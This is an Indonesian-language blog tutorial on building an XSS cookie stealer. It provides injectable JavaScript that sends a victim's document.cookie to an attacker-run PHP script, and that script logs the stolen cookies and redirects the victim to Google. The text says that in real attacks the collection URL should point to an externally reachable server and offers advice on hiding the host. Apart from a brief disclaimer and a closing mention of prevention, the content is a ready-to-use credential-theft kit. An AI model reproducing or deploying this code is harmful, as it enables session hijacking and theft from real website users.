Membuat XSS Cookie-Stealer Javascript

JavaScript adalah salah satu bahasa yang paling umum digunakan di web. Dapat juga menganimasikan komponen situs web, mengelola konten situs web, dan menjalankan banyak fungsi bermanfaat lainnya dari dalam halaman web. Javascript juga memiliki banyak fungsi yang dapat digunakan untuk tujuan jahat, termasuk mencuri cookie pengguna yang berisi kata sandi dan informasi lainnya.

src: wetroomsdirect.net

Cookie adalah informasi yang diminta atau dipertahankan oleh situs web mengenai pengguna tertentu yang mengunjungi halaman tersebut. Cookie ini berisi informasi tentang bagaimana dan kapan mereka mengunjungi, serta informasi otentikasi untuk situs seperti nama pengguna dan kata sandi. Karena cookie ini harus digunakan setiap kali pengunjung aktif di situs web tertentu, penyerang yang dapat mencegatnya dapat mencuri informasi ini dan menggunakannya untuk meniru atau mengatalogkan informasi tentang pengguna tertentu.

Kita dapat menggunakan JavaScript untuk menyimpan atau memodifikasi cookie pengguna untuk domain tertentu. Meskipun ini biasanya diterapkan untuk membuat dan menggunakan cookie untuk pengembangan web interaktif, jika penyerang dapat melihat cookie yang sama, itu menjadi teknik peretasan yang berharga. Serangan berbasis JavaScript sangat efektif bila dikombinasikan dengan taktik seperti injeksi kode, karena memungkinkan kode berbahaya dijalankan di situs web yang tampaknya tepercaya.

Meskipun saya tidak menganjurkan untuk mencuri kata sandi siapa pun, panduan ini adalah topik yang harus diketahui oleh pentester atau profesional keamanan TI apa pun untuk dipahami. Jika kalian tidak tahu bagaimana peretas blackhat melakukan berbagai hal, kalian tidak akan pernah bisa menangkapnya.

Membuat Halaman HTML Sebagai Tester

Untuk mencuri cookie, cookie harus terlebih dahulu tersedia di domain web yang dilihat pengguna. Ini terjadi setiap kali pengguna melihat situs web. Meskipun sangat mungkin untuk menyuntikkan JavaScript ke situs web menggunakan serangan man-in-the-middle (MITM), atau dengan mengeksploitasi situs web yang rentan, kedua hal ini akan memerlukan upaya tambahan untuk diterapkan.

Lingkungan pengujian untuk cookie saya akan berada dalam halaman HTML yang cukup standar. Saya akan dapat menanamkan semua elemen JavaScript kami secara langsung. Pertama, buat direktori baru untuk memuat file HTML. Pada sistem Linux atau macOS, kita dapat menggunakan mkdir, seperti yang terlihat di bawah ini.

mkdir cookiestealer
cd cookiestealer
touch index.html
Kita dapat membuat parameter dasar yang dimasukkan dalam cookie dengan hanya menggunakan satu string. Cookie ini hanya akan ada di halaman ini, dan sama halnya, teknik yang digunakan untuk membuang cookie nantinya akan berlaku untuk cookie apa pun yang disimpan di dalam halaman tempat skrip dijalankan atau disuntikkan. Letakkan script di bawah ini di dalam tag <body>...</body>:
<script type="text/javascript">document.cookie = "username=abaykandotcom";</script>
Atau lihat di bawah ini: Untuk mengetahui apakah script kita bekerja, masukkan script berikut:
<script type="text/javascript">
document.cookie = "username=abaykandotcom";
document.write(document.cookie);
</script>
Ketika dibuka di browser, seharusnya terlihat mirip dengan gambar di bawah ini, Kita telah berhasil menetapkan "username = abaykandotcom" sebagai cookie untuk halaman ini. Kita sekarang dapat menghapus "document.write (document.cookie);", karena kita akan meneruskan cookie yang diambil dari halaman pengguna yang ditargetkan ke halaman independen, di luar situs di mana mereka dapat ditulis dan disimpan.

Cookie-Stealing Menggunakan Javascript

String JavaScript yang akan kami gunakan untuk mengirimkan cookie ke server di mana kita dapat menulisnya untuk sekali lagi akan menggunakan parameter document.cookie, namun, ia akan dilewatkan sebaris dengan URL seperti yang didefinisikan dalam document.location.

document.location = 'http://127.0.0.1/cookiestealer.php? c =' + document.cookie;
Dalam contoh ini, file PHP terletak di komputer lokal, atau localhost, di 127.0.0.1. Dalam penerapan nyata teknik ini, harus mengarah ke file yang di-host di server web yang dapat diselesaikan di luar jaringan lokal atau komputer lokal.

Untuk tujuan pengujian, kita akan dapat meng-host file secara lokal menggunakan PHP. Kita dapat menyertakan JavaScript ini dalam tag skrip, seperti yang terlihat di bawah ini, pada halaman HTML yang sama di mana saya mendefinisikan cookie yang saya buat tadi.

<script type="text/javascript">
document.location='http://127.0.0.1:666/cookiestealer.php?c='+document.cookie;
</script>

Keseluruhan file akan menjadi seperti ini,

<html>
<head><title>abay</title>
</head>
<body>
<script type="text/javascript">
document.cookie = "username=abaykandotcom";
</script>
<script type="text/javascript">
document.location='http://127.0.0.1:666/cookiestealer.php?c='+document.cookie;
</script>
</body>
</html>

Memproses Cookie Menggunakan PHP

Pertama, buat file PHP baru di direktori yang sama dengan file index.html. Lalu masukkan script dibawah ini ke dalam cookiestealer.php

<?php
header ('Location:https://google.com');
?>

Dengan melakukan redirection pada pengguna yang ditetapkan, kita dapat menambahkan kode tambahan untuk memproses cookie. Pertama, saya akan menetapkan cookie yang dibawa oleh URL ke variabel.

$cookies = $_GET["c"];

Selanjutnya, kita akan mendefinisikan file yang akan disimpan cookie pada server yang kita kontrol. Dalam contoh di bawah ini, file tersebut bernama "log.txt."

$file = fopen('log.txt', 'a');

Terakhir, saya akan menggabungkan variabel yang didefinisikan dalam dua string di atas untuk menulis konten variabel, cookie, ke file log saya.

fwrite($file, $cookies . "\n\n");

Kode kita sekarang menjadi seperti dibawah ini.

<?php
header ('Location:https://google.com');
$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");
?>

Menjalankan Cookie Stealer

Dari dalam direktori yang sama dengan file index.html dan cookie stealer.php, kita dapat meluncurkan server pengujian PHP dari baris perintah dengan mengetikkan yang berikut.

abay@codelatte:~$ php -S 127.0.0.1:80
abay@codelatte:~$ sudo php -S 127.0.0.1:80
PHP 5.5.38 Development Server started at Tue Nov 27 21:38:12 2018
Listening on http://127.0.0.1:80
Document root is /Applications/XAMPP/xamppfiles/htdocs/cookiestealer
Press Ctrl-C to quit.

Server pengujian ini sekarang memungkinkan kita untuk menguji halaman dengan hanya membuka "127.0.0.1" dalam browser web pada mesin yang sama.

Setelah membuka halaman ini, browser kemungkinan besar akan segera menyelesaikan ke situs web yang saya definisikan sebagai pengalihan, dalam hal ini Google.

Akhirnya, kita akan dapat mengambil cookie dengan memeriksa file "log.txt" yang sekarang ada di direktori situs. Kita dapat melihat ini dengan menggunakan kucing di baris perintah. Jika log berisi cookie, dalam hal ini "username = abaykandotcom" maka kita telah berhasil mencuri cookie menggunakan JavaScript!

Melakukan Serangan XSS

Serangan ini sangat berharga untuk melakukan kerusakan dan mendapatkan kredensial pengguna dalam setiap skenario di mana kita dapat menyuntikkan kode di situs di mana pengguna mungkin menggunakan cookie. Cookie sering berisi informasi pengguna penting dalam plaintext, dan sering kali berisi kunci privat yang dapat digunakan untuk meniru identitas atau masuk sebagai pengguna.

Serangan ini dapat disuntikkan dimana saja tag skrip HTML dapat disisipkan. Metode pengujian populer untuk menguji formulir web untuk kerentanan XSS adalah menggunakan string "alert" sederhana seperti yang di bawah ini.

<script>alert("Alert");</script>
Skrip ini hanya akan mencoba membuka kotak peringatan seperti contoh di bawah ini. Jika terbuka, situs web rentan terhadap XSS.

Penutup

Dalam live-attack, seorang peretas akan berhati-hati dengan skrip PHP dihosting. Jika taktik seperti ini terdeteksi, untuk mengidentifikasi penyerang, akan berguna untuk mencoba mencari informasi tentang di mana cookie yang dicuri dikirim dan disimpan.

Metode ini menunjukkan seberapa kuat JavaScript dapat menjadi alat penyerang. Meskipun sangat berguna untuk membuat web, jika situs web rentan terhadap penyuntikan JavaScript yang berbahaya, ini dapat menghadirkan risiko besar bagi situs dan penggunanya.

Beban tanggung jawab untuk mencegah serangan XSS terletak pada pengembang web yang membuat situs web aman. Kita juga dapat memeriksa panduan kami untuk mencegah serangan XSS. Jika pengguna tidak mempercayai skrip yang dijalankan di situs web, mereka dapat memblokirnya menggunakan addon browser web seperti NoScript. Saya harap kalian menikmati artikel tentang cookie-stealing ini!

BACK

2018 | Project by Codelatte Indonesia